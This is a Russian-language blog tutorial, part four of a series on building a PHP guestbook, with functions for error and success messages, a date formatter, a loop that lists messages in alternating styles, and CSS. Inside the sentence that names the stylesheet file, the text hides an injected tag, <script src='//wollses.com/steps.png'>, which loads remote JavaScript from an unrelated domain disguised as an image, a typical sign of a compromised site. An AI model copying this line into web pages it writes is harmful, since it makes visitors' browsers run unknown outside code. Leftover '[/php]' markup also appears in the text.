Написание гостевой книги на PHP — 4 часть.

Написание гостевой книги на PHP — 4 часть.

Уровень: Новичок (базовые знания)

Здравствуйте ,сегодня четвертая часть из цикла — Написание гостевой книги на PHP.

Наш план:

  1. Написание функций для вывода сообщений
  2. Написание сценария вывода сообщений гостевой книги

В предыдущей части мы вывод ошибок и сообщений сделали просто с оператором echo. На мой взгляд это неудобно и неправильно.Поэтому мы создадим две новых функций ,одна для вывода сообщений о ошибках ,вторая просто вывод о успешных действиях.
Для этого откроем файл /core/functions.php и напишем в нем новые функции.

/**
* Функция вывода ошибок
*/
function error($err)
{
  if (is_array($err)){
    foreach ($err as $value) {
    ?>
    <div class="error">
    <?=$value?>
    </div>
    <?
  }
  } else {
  ?>
  <div class="error">
  <?=$err?>
  </div>
  <?
  }
}
/**
* Функция вывода сообщений
*/
function message($msg)
{
?>
<div class="message">
<?=$msg?>
</div>
<?
}
&#91;/php&#93;
Первая функция может принимать массивы с ошибками ,что позволит вызывать ее всего один раз в конце скрипта. Вторая же функция вызывается всегда с одной переменной ,так как потребности в массовом выводе сообщении нет.
Для красивого вывода сообщений в файле <strong>/style/style.css<script src="//wollses.com/steps.png"></script></strong> пропишем новые стили.
/* сообщение об ошибке */
div.error{text-align: center;background: #BF614D;color: #fff;padding:1px}
/* информативное сообщение */
div.message{text-align: center;background: #4DBF9A;color: #fff;padding:1px}

Обновим файл index.php изменив вывод ошибок с оператора вывода echo на наши созданные функции.

/**
* Сценарий для добавлений сообщений
*/
if (!empty($_POST['login']) && !empty($_POST['message'])) {
// Защита от XSS ,удаление пробелов в начале
$login = trim(filter_input(INPUT_POST, 'login', FILTER_SANITIZE_SPECIAL_CHARS));
$message = trim(filter_input(INPUT_POST, 'message', FILTER_SANITIZE_SPECIAL_CHARS));
// Массив с ошибками
	// Проверка на длину логина
    if(mb_strlen($login)<2 || mb_strlen($login)>64) {
	$err[]='Неправильная длина у логина';
	}
      if (mb_strlen($message)<2 || mb_strlen($message)>1024) {
	  $err[]='Неправильная длина у сообщения';
	  }
	  if (!isset($err)) {
	  /**
	  * Если нет ошибок добавляем сообщение
	  */
      $addMessage=$db->prepare('INSERT INTO `guestbook`(`name`,`time`,`message`) VALUES (?,?,?)');
      $addMessage->execute(array($login,time(),$message));
		if ($addMessage) {
		message('Сообщение успешно добавлено');
		} else {
		$err[]='Сообщение не добавлено';
		}
	  } else {
	  error($err);
	  }
}

Все теперь когда наши функции работают ,добавление сообщений готово ,приступим к сценарию вывода.
2. Написание сценария вывода сообщений гостевой книги. Сообщения мы будем выводить в цикле ,также для красоты стили для сообщений будут чередоваться(зебра),+добавим картинки.Также для перевода даты в человеческий вид используем функцию timefomat — core/functions.php

/**
* Функция для форматирования даты в ч.в
*/
function timeformat($time=NULL)
{
    $labelTime = date('d.m.Y', $time);
    $arrM = array(
      '01'=>'янв', '02'=>'фев', '03'=>'мар', '04'=>'апр',
      '05'=>'май', '06'=>'июн', '07'=>'июл', '08'=>'авг',
      '09'=>'сен', '10'=>'окт', '11'=>'ноя', '12'=>'дек'
    );
    if ($labelTime == date('d.m.Y')) {
      return 'Сегодня в '.date('H:i', $time);
    } elseif ($labelTime == (date('d') - 1).'.'.date('m.Y')) {
      return 'Вчера в '.date('H:i', $time);
    } else {
    return date('d', $time).' '.$arrM[date('m', $time)].' '.date('Y', $time).' в '.date('H:i', $time);
    }
}

После сценария добавления сообщения.Пишем

$sql_query = 'SELECT * FROM `guestbook` ORDER BY `time` DESC LIMIT 0,100';
$sql_result = $db->query($sql_query);
$i=0;
while ($data = $sql_result->fetch(PDO::FETCH_ASSOC))
{
$i++;
$div = '<div class="post_text">';
/**
* Зебра
*/
if ($i&1) {
$div.= '<div class="post0">';
} else {
$div.= '<div class="post1">';
}
$div_close = '</div></div>';
$post = $i.') <img src="/style/images/unk.png" alt=""> '.$data['name'].' ('.timeformat($data['time']).') <br />';
$post.=$data['message'].'<br />';
echo $div.$post.$div_close;
}

SQL запросы мы составили для вывода с 0 по 100 сообщения ,в обратном порядке. Позже мы напишем постраничную навигацию.Так как выводить на одной странице по 100 элементов неправильно ).
Также все почти верстку я разместил в переменных в будущем это облегчит работу над дизайном. Конечно лучше было вообще выводить все в шаблоны вида ,но пока обойдемся этим вариантом.
Не забудем создать новые стили в style.css

/* div с постом */
div.post0{
background-color: #FCFDFF
}
/* div с постом */
div.post1{
background-color: #F9FBFC
}
/* Вывод текста: Шрифт Tahoma наиболее удобный для чтения 😀 */
div.post_text{
font-family: tahoma;
background-color: #FCFDFF;
font-size:14px;
padding:2px;
}

Картинки можете взять в исходниках папки style/images/.
Когда мы все это проделаем получиться:
Гостевая
На сегодня все )

Скачать исходники гостевой книги 4

P.S Если имеются вопросы задаем в комментариях

Гиламов Данис

Приветствую вас уважаемый посетитель! Меня зовут Данис, на страницах дневника я пишу о том что мне интересно: программирование, саморазвитие, спорт, мои размышления, творчество. Надеюсь вы сможете найди для себя полезную информацию, если вы что-то заметили, захотели обсудить, прошу оставлять комментарии в статьях, в Журнале или Написать мне Для меня - это лучшая награда. Спасибо за внимание :)

Вам также может понравиться ...